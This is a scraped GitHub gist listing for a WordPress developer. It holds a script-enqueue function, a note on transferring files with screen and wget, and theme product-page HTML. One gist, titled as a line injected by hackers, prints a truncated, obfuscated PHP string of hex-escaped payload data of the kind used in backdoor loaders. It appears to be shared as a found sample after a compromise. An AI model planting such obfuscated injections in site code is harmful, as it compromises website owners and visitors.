Skip to content

Instantly share code, notes, and snippets.

James Giroux jamesgiroux

Block or report user

Report or block jamesgiroux

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View pivot_enqueue
function pivot_scripts () {
wp_enqueue_script( 'pivot_scripts', get_template_directory_uri() . '/js/pivot.js', array ('jquery'), '1.0.0', true);
}
add_action( 'wp_enqueue_scripts', 'pivot_scripts');
View WordPress Injected Line From Hackers
$mnykznbtow = '5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5cg)(0)%x5c%x782f+*0f(-!#]y76]5c%x78246767~6<Cw6<pd%x578256<%x5c%x787fw6*%x5c%x787f_*#fm85csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2982]48y]#>s%x5c%x7825<#462]47y]25224*<!%x5c%x7824-%x5c%5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*C5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825zx7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x73]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]25x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-f.)fepdof.%x5c%x782f<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X]+^?]_%x5c%x785c}X%x5c%x78246]y81]265]y72]254]y76#<%x5c%x7825x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN!OVMM*<%x22%51%x29%51%x29%7Z6<.2%x5c%x7860hA%x5c%x7827pd%x5S%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTc%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]
View Rsync For WordPress
1) login to your shell
2) cd to the directory you're trying to move files to
3) open a screen (just type screen and press enter)
4) wget or scp to transfer the files
5) ctrl-a and press d to detach from the screen so it runs in the background
6) you can safely disconnect from the shell while the transfer is taking place
7) reattach the screen, type "screen -r" if you only have one screen open
8) confirm the transfer of files, you might have to move them around depending on the file structure
this is also a good way to transfer the db dump as well - and if its a big dump, use the mysql command to import it rather than going through phpMyAdmin
@jamesgiroux
jamesgiroux / product.html
Created Sep 9, 2013
a typical product page.
View product.html
The <strong>Faithful</strong> theme is built to run on PageLines DMS maximizing use of its great core sections. Faithful takes full advantage of the new child theme system and provides you with a great out-of-the-box website that you can implement exactly as shown.  Faithful is a great theme for churches and non-profits and is designed to help you communicate your mission and vision to your community. Its also great for small businesses with a focus on community impact.  Integrate Faithful with PageLines' suite of premium sections to take your PageLines DMS site to the next level.
<h3>Includes 4 Extra Sections</h3>
Faithful includes four customized sections.
<h2>Support &amp; Related Links for Faithful Theme</h2>
<h2><a title="James' Twitter" href="http://twitter.com/jamesgiroux" target="_blank" class="btn btn-large btn-info"><i class="icon-twitter"></i>&nbsp;&nbsp;Twitter</a>&nbsp;&nbsp;<a title="James' Website" href="http://jamesgiroux.ca" target="_blank" class="btn btn-large btn-info"><i class="icon-globe
You can’t perform that action at this time.